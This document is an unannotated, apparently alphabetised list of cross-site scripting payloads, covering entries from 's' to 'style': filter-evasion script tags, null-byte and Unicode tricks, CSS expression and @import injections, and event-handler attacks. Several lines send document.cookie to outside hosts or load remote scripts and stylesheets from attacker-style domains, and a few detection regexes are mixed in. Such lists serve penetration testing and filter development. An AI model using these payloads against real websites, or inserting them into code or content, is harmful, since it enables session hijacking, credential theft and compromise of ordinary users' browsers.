s1=!’’&&’jav’;s2=!’’&&’ascript’;s3=!’’&&’:’;s4=!’’&&’aler’;s5=!’’&&’t’;s6=!’’&&’(1)’;s7=s1+s2+s3+s4+s5+s6;URL=s7;
s1=<s>evalalerta(1)a</s>,s2=<s></s>+’’,s3=s1+s2,e1=/s/!=/s/?s3[0]:0,e2=/s/!=/s/?s3[1]:0,e3=/s/!=/s/?s3[2]:0,e4=/s/!=/s/?s3[3]:0,e=/s/!=/s/?0[e1+e2+e3+e4]:0,a1=/s/!=/s/?s3[4]:0,a2=/s/!=/s/?s3[5]:0,a3=/s/!=/s/?s3[6]:0,a4=/s/!=/s/?s3[7]:0,a5=/s/!=/s/?s3[8]:0,a6=/s/!=/s/?s3[10]:0,a7=/s/!=/s/?s3[11]:0,a8=/s/!=/s/?s3[12]:0,a=a1+a2+a3+a4+a5+a6+a7+a8,1,e(a)
><s”%2b”cript>alert(document.cookie)</s”%2B”cript>
><s%2bcript>alert(document.cookie)</script>
??><s??%2b??cript>alert(document.cookie)</script>
><s%2bcript>alert(/1-By-Muhaddi/)</script>
><s%2bcript>alert(/1/)</script>
??><s??%2b??cript>alert(/1/)</script>
<!?—?sample vector ? <img src=xx:xx *chr*onerror=logChr(*num*)> <a href=javascript*chr*:confirm(*num*)>*num*</a>
<ScaleLoadingMov>1</ScaleLoadingMov>
<sc#ipt> continueURI=/login2.jsp?friend=<img src=xonerror=alert(1)>;</script>
<sc#ipt>continueURI=/login2.jsp?friend=<img src=xonerror=alert(1)>;</script>
<sc#ipt>if(top!=self)top.location=location</script>
<SCR%00IPT>alert(“1”)</SCRIPT>
<SCR%00IPT>confirm(document.location)</SCR%00IPT>
<scr%00ipt>prompt(1)</sc%00ript>
<scr%00ript>confirm(0);</scr%00ipt>
<scr\0ipt>prompt(1)</sc\0ript>
<<scr\0ipt/src=http://1.com/1.js></script
<<scr\0ipt/src=http://1.cx/1.js></script
“><scr&#105;&#112;&#116;&#62;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;&#60;&#47;&#115;&#99;&#114;&#105;pt>
<scr<!?—?esi ?ipt>aler<!?—?esi ?t(1)</sc<!?—?esi ?ript>
<scri%00ipt>confirm(0);</script>
<scri%00pt>alert(1);</scri%00pt>
<Scri% 00pt> alert (1); </ scri% 00pt>
<scri%00pt>confirm(0);</scri%00pt>
><scri%00pt>confirm(0);</scri%00pt>
“<scri%00pt>confirm(0);</scri%00pt>”
“\”><scri%00pt>confirm(0);</scri%00pt>”,
<scri%00pt>confirm(1);</scri%00pt>
“<!?—?<script>”
“<!?—?script>”
“><script>”
*/</script>
“<script>1-confirm(0);</script>”/>
“/><script>+-+-1-+-+confirm(1)</script>
>”><ScRiPt%20%0a%0d>alert(561177485777)%3B</ScRiPt>
`><script>alert(0)</script>
<<script>alert(0)</script>
‘’;!?—?“<script>alert(0);</script>=&{()}
“><script>alert(0)</script>
‘’;!?—?“<script>alert(0);</script>=&{(alert(1))}
\”><script>alert(0x0001)</script>
\”><sCriPt>alert(0x0001)</sCriPt>
“><script>alert(1)<!?—?
“><script>alert(1)//
*//><script>/*alert(1)//
*//”><script>/*alert(1)//
/<script>alert(14)</script>
/<script>alert(14)</script>##0
><script>alert(1)</script>
 ?<script>alert(1)</script>
‘><script>alert(1)</script>
“><script>alert(1)</script>
scriptalert(1)/script
&<script>alert(1)</script>=1
><script>alert(1);</script x=
‘><script>alert(1);</script x=’
“><script>alert(1);</script x=”
“><script>alert(1337)</script>”><script>alert(“1 by \n1</h1></marquee>
*/</script>’>alert(157)/*<script/157=’
<%<!?—?‘%><script>alert(1);</script ?
???script?alert(1)?/script?
<<SCRIPT>alert(1);//<</SCRIPT>
*/</script>’>alert(1)/*<script/1=’
&”><script>alert(1)</script>=1
“><script>alert(1)</script>=1”onPaste=”eval(‘;)\’SSX\’(trela’.split(‘’).reverse().join(‘’))”
‘> <script>alert(3)</script>
> <script>alert(4)</script>
`> <script>alert(5)</script>
“><script>alert(9)</script><a”
]]><script>alert(9)</script><![CDATA[
=’><script>alert(document.cookie)</script>
><<script>alert(document.cookie);//<</script>
‘><script>alert(document.cookie)</script>
‘><script>alert(document.cookie);</script>
“><script>alert(document.cookie)</script>/><’:
“><script>alert(document.cookie)</script>
“/><script>alert(document.cookie);</script>
??><<script>alert(document.cookie);//<</script>
><ScRiPt>alert(document.cookie)</script>
??><ScRiPt>alert(document.cookie)</script>
“>’><SCRIPT>alert(document.cookie)</SCRIPT>
“><script>alert(document.location)</script><”
?script?alert(?F1?F)?/script?
?script?alert(F1F)?/script?
“><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>
“><script>alert(String.fromCharCode(88,83,83))</script>
“><script alert(String.fromCharCode(88,83,83))</script> 
“><script alert(String.fromCharCode(88,83,83))</script>
‘><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src=”” alt=’
“><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src=”” alt=”
\’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src=”” alt=\’
“><script>alert(‘test’)</script>
<<SCRIPT>alert(“test”);//<</SCRIPT>
<<script>alert(“W1”);//<</script>
><ScRiPt>alert(1-By-Muhaddi)</sCrIpT>
<<SCRIPT>alert(1-By-Muhaddi);//<</SCRIPT>
“><script>alert(“1 by \n1”)</script>><marquee><h1>1 by 1</h1></marquee>
><ScRiPt>alert(1 by shawar)</sCrIpT>
>/”><script>alert(‘1 message’)</script>
‘<script>alert(‘1 message’)</script>
“><script>alert(‘1 message’)</script>
=’><script>alert(“1”)</script>
 ?<script>alert(1);<script>
!?—?“ /><script>alert(‘1’);</script>
><script>alert(/1/)</script>
??><script>alert(/1/)</script>
??><script>alert(??1??)</script>
<!?—?— ?<script>alert(‘1’);</script><!?—?— ?
>”><script>alert(“1”)</script>&
‘“><script>alert(‘1’)</script>
‘“>><script>alert(‘1’)</script> 
‘“>><script>alert(‘1’)</script>
“><script>alert(‘1’)</script>
“><script>alert(??1??);</script>
“><script>alert(1);</script>
&<script>alert(‘1’);</script>”>
><ScRiPt>alert(1)</sCrIpT>
??><ScRiPt>alert(??1??)</sCrIpT>
<<SCRIPT>alert(??1??);//<</SCRIPT>
<;<;SCRIPT>;alert(“;1”;);//<;<;/SCRIPT>;
<?=’<SCRIPT>alert(“1”)</SCRIPT>’?> 
<?=’<SCRIPT>alert(“1”)</SCRIPT>’?>
‘/*<script>alert(“1”)</script>*/%2B’
“‘`><script>a=/1;*chr*;i=0;log(*num*);a/i;</script>
?”></script><base%20c%3D=href%3Dhttps:\mysite>
‘“`><script>/* **chr*log(*num*)// */</script>
“`’><script>*chr*log(*num*)</script>
><script>’confirm(0)%3B<%2Fscript>
“<script>’confirm(0)%3B<%2Fscript>”
“\”><script>’confirm(0)%3B<%2Fscript>”,
><script>confirm(0)</script>
“<script>confirm(0);</script>”
“><”script”>”confirm(0)”</”script”>
“\”><script>confirm(0)</script>”,
<%<!?—?‘%><script>confirm(1);</script ?
<sc’+’ript>confirm(1)</script>
>”<>”<script>confirm(1)</script>
“‘><script>confirm(1)</script>”,
[<script>]=*confirm(1)</script>
“/><script>confirm(1);</script><img src=x onerror=x.onerror=prompt(0)>
“\”/><script>confirm(1);</script><img src=x onerror=x.onerror=prompt(0)>”
>”<>”<script>confirm(2)</script>
>”><script>confirm(document.location)</script>&
><script>confirm(String.fromCharCode(88,83,83));</script>
“<script>confirm(String.fromCharCode(88,83,83));</script>”
“\”><script>confirm(String.fromCharCode(88,83,83));</script>”,
“><script>co\u006efir\u006d`1`</script>
“><ScRiPt>co\u006efir\u006d`1`</ScRiPt>
-<script/defer>alert(1)</script>
//’/<@/></script></div></script> ?<select */onclick=alert()><o>1<o>2')//”<!?—?
“><script>document.location=’http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie</script>
“><script>document.location=’http://your.site.com/cgi-bin/cookie.cgi?'???.cookie</script>
<!?—?— ?<script>document.vulnerable=true;</script><!?—?— ?
<![<!?—?]]<script>document.vulnerable=true;// ?</script>
“/><script>document.write(“<img src=//1.cx/” + document.cookie + “>”)</script>
‘“</Script><Html /Onmouseover=(alert)(1) //
“`’><script>-javascript:alert(1)</script>
‘“”><script language=”JavaScript”> alert(‘X \nS \nS’);</script>
‘“”><script language=”JavaScript”> alert(‘X nS nS’);</script> 
scriptlet.html”></LAYER>
“`’><script>lo*chr*g(*num*)</script>
“‘`><script>log*chr*(*num*)</script>
‘/<\/?(script|meta|link|frame|iframe).*>/Uis’,
<*script>prompt(1)<*/script>
‘ ?”>’>’”<script>prompt(198)</script>;” f0r=TRUE
< s c r i p t > p r o m p t ( 1 ) < / s c r i p t >
“><script>`#${prompt(1)}#`</script>
\”><script>prompt(1)</script>
scriptprop={{_factory}}
\”></script><script>alert(0x0001)</script>
\”></sCriPt><sCriPt >alert(0x0001)</sCriPt>
< / script >< script >alert(1)< / script >
// ?</SCRIPT><SCRIPT>alert(String.fromCharCode(88,83,83));
‘</script><script>alert(String.fromCharCode(88,83,83))</script>/
‘;</script>”>’><SCrIPT>alert(String.fromCharCode(88,83,83))</scRipt>
></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
// ?</SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
“></SCRIPT>>><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
;<><script></script>/<script>alert(‘0’)</script>
<</script/script><script>eval(‘\\u’+’0061'+’lert(1)’)//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
(/script/.source)).src=atob(/Ly9icnV0ZWxvZ2ljLmNvbS5ici8y/.source)
script/src=//??
“><script src=//brutelogic.com.br/1.js#
“><script src=//brutelogic.com.br&sol;1.js&num; 
“><script src=//brutelogic.com.br&sol;1.js&num;
“><script src=data:%26comma;alert(1)-”
“><script src=data:%26comma;alert(1)//
“><script src=data:,alert(1)//
“/><script/src=”data&colon;text%2Fj\u0061v\u0061script,\u0061lert(‘\u0061’)”></script a=\u0061 & /=%2F
 <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/1/)></script ????????????
“><script src=data:&comma;alert(1)//
“/><script+src=data:,confirm(1)<!?—?
“/><script src=”data:text/javascript,confirm(1)”></script>
><script src=’data:text/javascript,prompt(/1/.source);var x = prompt;x(0);x(/1/.source);x’></script>
“<script src=’data:text/javascript,prompt(/1/.source);var x = prompt;x(0);x(/1/.source);x’></script>”
“\”><script src=’data:text/javascript,prompt(/1/.source);var x = prompt;x(0);x(/1/.source);x’></script>”,
“><script src=”file:///c:/wonderful.js”></script><”
‘> ?<script/src=//go.bmoine.fr/1>
//|\\ <script //|\\ src=’http://excis3.be/bugbounty/evil.js'> //|\\ </script //|\\
“<script src=’https://www.n00py.io/evil.js'></script>"
‘>”><script src = ‘http://www.site.com/1.js'></script> 
‘>”><script src = ‘http://www.site.com/1.js'></script>
//|\\ <script //|\\ src=’http://1.cx/1.js'> //|\\ </script //|\\
“></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>
 ?’”/></sCript><svG x=”>” onload=(co\u006efirm)``>
 /<script((\s+\w+(\s*=\s*(?:”(.)*?”|’(.)*?’|[^’”>\s]+))?)+\s*|\s*)src/i,
/<script((\s+\w+(\s*=\s*(?:”(.)*?”|’(.)*?’|[^’”>\s]+))?)+\s*|\s*)src/i;
“/<script((\s+\w+(\s*=\s*(?:”(.)*?”|’(.)*?’|[^’”>\s]+))?)+\s*|\s*)src/i”
( /<script((\s+\w+(\s*=\s*(?:”(.)*?”|’(.)*?’|[^’”>\s]+))?)+\s*|\s*)src/i)
 ?</script></title></style>”/</textarea>*/<alert()/*’ onclick=alert()//>a
 ?</script></title></style>”/</textarea><a’ onclick=alert()//>*/alert()/*
>]]>%>?></script></title></textarea></noscript></style></xmp>”>[img=1,name=/alert(1)/.source]<img -
?scriptualert(E1E)?/scriptu
“/><script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open(‘GET’,+’/1me2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B’(.*)’/gi); confirm(RegExp.%241); } } xmlHttp.send(null); }; </script>#
/><script>window.alert(‘1 Vulnerable’);</script>
?’<script>window.confirm(1)</script>?—?!>
`’”><script>window[‘log*chr*’](*num*)</script>
‘<script>window.onload=function(){document.forms[0].message.value=’1';}</script>
“`’><script>\x00javascript:alert(1)</script>
“`’><script>\x09javascript:alert(1)</script>
“`’><script>\x0Ajavascript:alert(1)</script>
“`’><script>\x0Bjavascript:alert(1)</script>
“`’><script>\x0Cjavascript:alert(1)</script>
“`’><script>\x0Djavascript:alert(1)</script>
“`’><script>\x20javascript:alert(1)</script>
“`’><script>\x21javascript:alert(1)</script>
“`’><script>\x2Bjavascript:alert(1)</script>
‘“`><script>/* *\x2Fjavascript:alert(1)// */</script>
“`’><script>\x3Bjavascript:alert(1)</script>
“`’><script>\x7Ejavascript:alert(1)</script>
“><script x=#”async=#”src=”//a?a?L
“`’><script>\xC2\x85javascript:alert(1)</script>
“`’><script>\xC2\xA0javascript:alert(1)</script>
“/><script x> confirm(1) </script 1=2
“`’><script>\xE1\x9A\x80javascript:alert(1)</script>
“`’><script>\xE1\xA0\x8Ejavascript:alert(1)</script>
“`’><script>\xE2\x80\x80javascript:alert(1)</script>
“`’><script>\xE2\x80\x81javascript:alert(1)</script>
“`’><script>\xE2\x80\x82javascript:alert(1)</script>
“`’><script>\xE2\x80\x83javascript:alert(1)</script>
“`’><script>\xE2\x80\x84javascript:alert(1)</script>
“`’><script>\xE2\x80\x85javascript:alert(1)</script>
“`’><script>\xE2\x80\x86javascript:alert(1)</script>
“`’><script>\xE2\x80\x87javascript:alert(1)</script>
“`’><script>\xE2\x80\x88javascript:alert(1)</script>
“`’><script>\xE2\x80\x89javascript:alert(1)</script>
“`’><script>\xE2\x80\x8Ajavascript:alert(1)</script>
“`’><script>\xE2\x80\x8Bjavascript:alert(1)</script>
“`’><script>\xE2\x80\xA8javascript:alert(1)</script>
“`’><script>\xE2\x80\xA9javascript:alert(1)</script>
“`’><script>\xE2\x80\xAFjavascript:alert(1)</script>
“`’><script>\xE2\x81\x9Fjavascript:alert(1)</script>
“`’><script>\xE3\x80\x80javascript:alert(1)</script>
“`’><script>\xEF\xBB\xBFjavascript:alert(1)</script>
“`’><script>\xEF\xBF\xAEjavascript:alert(1)</script>
“`’><script>\xEF\xBF\xBEjavascript:alert(1)</script>
“`’><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script>
<_:script xmlns:_=”hxxp://www.w3.org/1999/xhtml">alert(65)</_:script>
“><scri<script></script>pt>confirm(document.cookie);</scri<script></script>pt>
<scri\x00pt>alert(1);</scri%00pt>
<Scri \ x00pt> alert (1); </ scri% 00pt>
<scri\x00pt>confirm(1);</scri%00pt>
</Scrpt/”%27?—?!>%20<Scrpt>%20confirm(1)%20</Scrpt>
<SCR?PT>alert(181)</SCR?PT>
<SCR?PT>alert(41)</SCR?PT>
<SCR?PT/SRC=data:,alert(182)>
<SCR?PT/SRC=data:,alert(42)>
<scr<script>ipt>alert(0x0001)</script>
\”><scr<script>ipt>alert(0x0001)</script>
<scr<script>ipt>alert(0x0001)</scr</script>ipt>
\”<scr<script>ipt>alert(0x0001)</scr</script>ipt>
<scr<script>ipt>alert(1)</scr<script>ipt>
<scrscriptipt>alert(1)</scrscriptipt> 
<scr<script>ipt>alert(1)</scr<script>ipt>F
<scr<script>ipt>alert(/1-By-Muhaddi/)</scr</script>ipt>
<scr<script>ipt>alert(/1/)</scr</script>ipt>
<scr<script>ipt>alert(‘1’)</scr</script>ipt>
<scr<script>ipt>alert(‘1’)</scr<script>ipt>
<scr<script>ipt>alert(‘1’);</scr</script>ipt>
<scr<script>ipt>alert(“1”)</scr<script>ipt>
</scr</script>ipt><ifr<iframeame/onload=prompt()>whs
<scr<script>ipt>prompt(document.cookie)</scr</script>ipt>
<scr<script>rip>alalertert</scr</script>rip>
<sc<script>ript>alert(1)</sc</script>ript>
<sc<script>ript>alert(1)</script>
<select autofocus onfocus=alert`1`
<select autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>//INJECTX
<select id=1 onfocus=javascript:eval(String[‘fromCharCode’](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus><select onchange=alert(1)><option>1<option>2
<select onchange=alert(106)><option>1<option>2
<select onchange=alert(1)><option>1<option>2
<select onclick=”popup=1;”>
<select onclick=popup=1;>
‘></select><script>alert(1)</script> 
‘></select><script>alert(1)</script>
<set attributeName=”onmouseover” to=”alert(1)”/>
<set attributeName=”xlink:href” to=”javascript:alert(1)” begin=”1s” />
Set.constructor(‘ale’+’rt(13)’)();
Set.constructor`alert\x28document.domain\x29```
Set.constructor`al\x65rt\x2814\x29```;
setImmediate()
setinterval()
setInterval(‘ale’+’rt(10)’);
setInterval`alert\x28document.domain\x29`
setInterval(code, 0)
setInterval(‘location.hash=”??????????”[i++%10]’,i=99)
setInterval(location.search.slice(1));
setInterval(x,5000);
setTimeout()
setTimeout`alert(1);//${1000}`
setTimeout(‘ale’+’rt(2)’);
setTimeout([‘alert(/@garethheyes/)’]);
setTimeout`alert\x28document.domain\x29`
setTimeout([‘confirm(4)’]);
setTimeout(location)
setTimeout(location.search.slice(1));
setTimeout// (name// ,0)
setTimeout(URL.slice(-7))//#alert()
<<!?—?#set var=”x” value=”svg onload=alert(54)” ?<!?—?#echo var=”x” ?>
<ShowAbout>1</ShowAbout>
<ShowDuration>1</ShowDuration>
<ShowElapsedTime>1</ShowElapsedTime>
<ShowFFRW>1</ShowFFRW>
<ShowLoadingMov>1</ShowLoadingMov>
Single Input (script-based)
?skinName=asfunction:getURL,javascript:alert(1)//”,
 /*! SLEEP(1) /*/ onclick=alert(1)//<button value=Click_Me /*/*/ or’ /*! or SLEEP(1) or /*/, onclick=alert(1)//> /*/*/’or” /*! or SLEEP(1) or /*/, onclick=alert(1)// /*/*/”? /*
/*! SLEEP(1) /*/ onclick=alert(1)//<button value=Click_Me /*/*/ or’ /*! or SLEEP(1) or /*/, onclick=alert(1)//> /*/*/’or” /*! or SLEEP(1) or /*/, onclick=alert(1)// /*/*/”? /*
<slideslow><image img=javascript:alert(1@%2Bdocument.domain caption= /></slideshow>
<s[NULL]cript>confirm(1)</s[NULL]cript>’>Clickme</a>
;&sol;script&gt;
<s/onclick=alert()>b
source+location.hash[1]+1+location.hash[2]>#()
source+location.hash.substr(1)>#(1)
<source onclick=popup=1; ><frameset/onload=popup=1;>
{“source”:{},”__proto__”:{“source”:”$`onerror=prompt(1)>”}}
<source srcset=”x”><img onerror=”confirm(5)”></picture>
Space Insertion##<script%20TEST>alert(1)</script%20TESTTEST>
<span class=”pln”></span><span class=”tag”>&lt;formaction</span><span class=”pun”>=</span><span class=”atv”>&amp;#039;data:text&amp;sol;html,&amp;lt;script&amp;gt;alert(1)&amp;lt/script&amp;gt&amp;#039;</span><span class=”tag”>&gt;&lt;button&gt;</span><span class=”pln”>CLICK</span>
<span class=”pln”> </span><span class=”tag”>&lt;formaction</span><span class=”pun”>=</span><span class=”atv”>&amp;#039;data:text&amp;sol;html,&amp;lt;script&amp;gt;alert(1)&amp;lt/script&amp;gt&amp;#039;</span><span class=”tag”>&gt;&lt;button&gt;</span><span class=”pln”>CLICK</span>
<span class=”qm_ico_print” id=”mail_print” title=”L” onclick=”window.open(‘/cgi-bin/readmail?sid=SC_hEOi3h_nqEgJQ&amp’);”></span>
<SPAN class=xmsw title=dd onmouseout=javascript:alert(document.cookie)>test</SPAN>
<span class=”xmsw” title=”dd” onmouseout=window.location=’http://test/test.php?c='+document.cookie>test</span>
<SPAN class=xmsw title=dd onmouseout=window.location=’http://www,xfydyt.com'>test</span>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<SPAN DATASRC=”#1” DATAFLD=”B” DATAFORMATAS=”HTML”></SPAN>
<span id=”x” data-constructor=oops></span><script>confirm(x.dataset.constructor)</script>
<span onclick=”javascript:changeFont(2);”>
<span/onmouseover=confirm(1)>renwax23
“></span><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,46,99,111,47,120,105,72,118,62,60,47,115,99,114,105,112,116,62));</script><span>
<SPAN “ style=”display: block; position: absolute; top: 0; left: 0; width: 9999px; height: 9999px; z-index: 9999" foo=”></span>renwax23
SRC=&#10<IMG 6;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
‘/src=[^<]*base64[^<]*(?=\>)/Uis’,
“src=data:,alert%2823%29></script><script x=”
SRC’” ?<!?—?#exec cmd=”/bin/echo
src=”http://www.site.com/1.js"></script> 
src=”http://www.site.com/1.js"></script>
<sRCIpt>alert(/1/)</ScRpT>
src=JaVaSCript:prompt(132)
<s<script>cript>…</s</script>cript>
[S] = stripped char or string
sstyle=foobar”tstyle=”foobar”ystyle=”foobar”lstyle=”foobar”estyle=”foobar”=-moz-binding:url(http://h4k.in/moz1.xml#1)>foobar</b>#1)" a=”
{!/\s/.test(‘\u0085’)&&eval(‘\u0085alert(“IE”)’)}catch(e){alert(‘Not IE’)}
stop, open, print && confirm(1)
String.fromCharCode(0x61,0x62)
String.fromCharCode(0xffff+0x3d)
(String.fromCharCode(97,108,101,114,116,40,39,104,105,39,41))
String.raw(a=alert(1),1,2)
String.raw`jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/?—?!>\x3csVg/<sVg/oNloAd=alert()//>\x3e`;
<% string str_a = rrequest.getParameter(“a”);%>
</style &#32;><script &#32; :-(>/**/confirm(document.location)/**/</script &#32; :-(
“+style%3d”x%3aexpression(alert(1))+
<STYLE>a{background:url(‘s1’ ‘s2)}@import javascript:javascript:alert(1);’);}</STYLE>
/style=a:expression&#40&#47&#42'/-
<STYLE><!?—?a{< img src=</STYLE>;x:expression(eval(myxsxxcd.title));<style>} ?</style></DIV>
<STYLE> a { width: expression(alert(‘1’)) } </STYLE>
<style>*{background-image:url(‘\6A\61\76\61\73\63\72\69\70\74\3A\61\6C\65\72\74\28\6C\6F\63\61\74\69\6F\6E\29’)}</style><% style=behavior:url(: onreadystatechange=alert(1)>
<style>body:after{content: ??\61\6c\65\72\74\28\31\29??}</style><script>eval(eval(document.styleSheets[0].cssRules[0].style.content))</script>
<style>body{background-color:expression\(alert(1))}</style>
<style>body { background-image:url('http://www.blah.com/</style><script>alert(1)</script>'); }</style>
<style>body{font-size: 0;} h1{font-size: 12px !important;}</style><h1><?php echo “<hr />THIS IMAGE COULD ERASE YOUR WWW ACCOUNT, it shows you the PHP info instead…<hr />”; phpinfo(); __halt_compiler(); ?></h1>
<;STYLE>;BODY{-moz-binding:url(“;http://ha.ckers.org/1moz.xml#1";)}<;/STYLE>;
<STYLE>BODY{-moz-binding:url(“http://ha.ckers.org/1moz.xml#1")}</STYLE>
<style>BODY{-moz-binding:url(“http://www.securitycompass.com/1moz.xml#1")}</style>
<STYLE>BODY{-moz-binding:url(“http://xxxx.com/1moz.xml#1")}</STYLE>
<style>body{width:??xpression(parent.document.write(unescape(‘%3Cscript%20src%3Dhttp%3A//1or.io/phishing/%3E%3C/script%3E’)));}</style>
 style=color: expression(alert(0));” a=”
/style=[^<]*((expression\s*?[<]??)|(behavior\s*:))[^<]*(?=\>)/Uis
/style=[^<]*((expression\s*?\([^<]*?\))|(behavior\s*:))[^<]*(?=\>)/Uis
‘/style=[^<]*((expression\s*?\([^<]*?\))|(behavior\s*:))[^<]*(?=\>)/Uis’,
<style>*{font-family:’Serif}’;x[value=expression(confirm(URL=1));]{color:red}</style>
<style>img{background-image:url(‘javascript:alert(location)’)}</style>
<style><img src=”</style><img src=x “><object data=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></object>
<style><img src=”</style><img src=x onerror=alert(1)//”>
“<style><img src=’</style><img src=x onerror=alert(“document.cookie”)//’>
<style><img src=”</style><img src=x onerror=javascript:alert(1)//”>
<style>@import ‘//attacker/test.css’</style>
<STYLE>@import’%(css)s’;</STYLE>
<style>*[{}@import’%(css)s?]</style>X
<style>@import “data:,*%7bx:expression(javascript:alert(1))%7D”;</style>
<style>@import “data:,*%7bx:expression(write(1))%7D”;</style>
<style>@import//evil? >>>steal me!<<< scriptless
<;STYLE>;@import’;http://ha.ckers.org/1.css';;<;/STYLE>;
<STYLE>@import’http://ha.ckers.org/1.css';</STYLE>
<STYLE>@importhttp://ha.ckers.org/1.css;</STYLE>;
<STYLE>@import’http://host/css';</STYLE>
<style>@import’http://www.securitycompass.com/1.css';</style>
<STYLE>@import’http://1.cx/1.css';</STYLE>
<STYLE>@import’http://xxxx.com/1.css';</STYLE>
<STYLE>@importjavasc ipt:alert(“1”);</STYLE>
<STYLE>@im\port’\ja\vasc\ript:alert(“X3SS”)’;</STYLE>
<style>@im\port’\ja\vasc\ript:alert(“1”)’;</style>
<style>@import javascript:alert(1);</style>
<style>@im\port’\ja\vasc\ript:alert(\”1\”)’;</style>
<style>@import’javascript:alert(“1”)’;</style> 
<;STYLE>;@im\port’;\ja\vasc\ript:alert(“;1”;)’;;<;/STYLE>;
<STYLE>@im\port’\ja\vasc\ript:alert(“1”)’;</STYLE>
<STYLE>@import’javascript:alert(“1”)’;</STYLE>
“><STYLE>@import”javascript:alert(‘1’)”;</STYLE>
“><STYLE>@import”javascript:alert(‘1’)”;</STYLE>>”’><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;%26%23x20;1%26%23x20;Test%26%23x20;Successful%26quot;)>
<STYLE>@im\port’\ja\vasc\ript:confirm(document.location)’;</STYLE>
“><STYLE>@import”javascript:confirm(document.location)”;</STYLE>
<style>@im\port’\ja\vasc\ript:document.vulnerable=true’;</style>
<style>*[{}@import’test.css?]{color: green;}</style>X
<style>@imp\ort url(“http://attacker.org/malicious.css");</style>
<style>jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/?—?!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</style>
<style>@keyframes x{}</style>
<style>@KeyFrames x{</style><div style=animation-name:x onanimationstart=alert(1)> <
<style>@KeyFrames z{</style><div style=animation-name:z onanimationend=&#97&#108&#101&#114&#116&grave;1&grave;> %253Cscript%253Ealert(‘1’)%253C%252Fscript%253E “</script><script>alert(String.fromCharCode(88,83,83))</script> <IMG SRC=x onload=”alert(String.fromCharCode(88,83,83))”> <IMG SRC=x onafterprint=”alert(String.fromCharCode(88,83,83))”>
<STYLE>li+{list-style-image:url(“javascript:alert(1)”);}</STYLE><UL><LI>1
<;STYLE>;li {list-style-image: url(“;javascript:alert(&#39;1&#39;)”;);}<;/STYLE>;<;UL>;<;LI>;1
<STYLE>li {list-style-image: url(“javascript:alert(‘1’);</STYLE><UL><LI>1
<STYLE>li {list-style-image: url(“javascript:alert(‘1’)”);}</STYLE><UL><LI>1 
<STYLE>li {list-style-image: url(“javascript:alert(‘1’)”);}</STYLE><UL><LI>1
<STYLE>li {list-style-image: url(“javascript:alert(1)”);}</STYLE><UL><LI>1
<STYLE>li {list-style-image: url(\”javascript:alert(‘1’)\”);}</STYLE><UL><LI>1
<STYLE>li {list-style-image: url(“javascript:alert(‘1’)”);}</STYLE><UL><LI>1</br>
<style>li {list-style-image: url(“javascript:document.vulnerable=true;”);</STYLE><UL><LI>1
<STYLE>li {list-style-image: url(“javascript:javascript:alert(1)”);}</STYLE><UL><LI>1
<style/>&lt;/style&gt;&lt;img src=1 onerror=confirm(1)&gt;</style>
style=-moz-binding:url(http://h4k.in/moz1.xml#1);" a=”
<style>*{-o-link:’data:text/html,<svg/onload=confirm(5)>’;-o-link-source:current}</style><a href=1>aaa
<style/onload=confirm(1)>
<style/onload = !-confirm&#x28;1&#x29;>
<style onload=’execScript(“InputBox+1”,”VbScript”);’>
<style/onload=”javascript:if(‘[object Object]’=={}&&1==[1])confirm(1);”>
<style/onload=&lt;!?—?&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
<style/onload=&lt;!?—?&#09;&gt;&#10;confirm&#10;&lpar;1&rpar;>
<style/onload=&lt;!?—?&gt; alert &lpar;1&rpar;>
<style/onload=prompt&#40;’&#88;&#83;&#83;’&#41;
<style/onload=prompt(‘1’)
<style onLoad style onLoad=”javascript:javascript:alert(1)”></style onLoad>
<style onReadyStateChange style onReadyStateChange=”javascript:javascript:alert(1)”></style onReadyStateChange>
<style>p[foo=bar{}*{-o-link:’javascript:alert(1)’}{}*{-o-link-source:current}*{background:red}]{background:green};</style>
<style>p[foo=bar{}*{-o-link:’javascript:confirm(1)’}{}*{-o-link-source:current}*{background:red}]{background:green};</style>
<style>p[foo=bar{}*{-o-link:’javascript:javascript:alert(1)’}{}*{-o-link-source:current}]{color:red};</style>
}</style><script>a=eval;b=alert;a(b(/i/.source));</script>
</style><script>a=eval;b=alert;a(b(/1/.source));</script><script>a=eval;b=alert;a(b(/1/.source));</script>’”><marquee><h1>1 by vuolent python</h1></marquee>
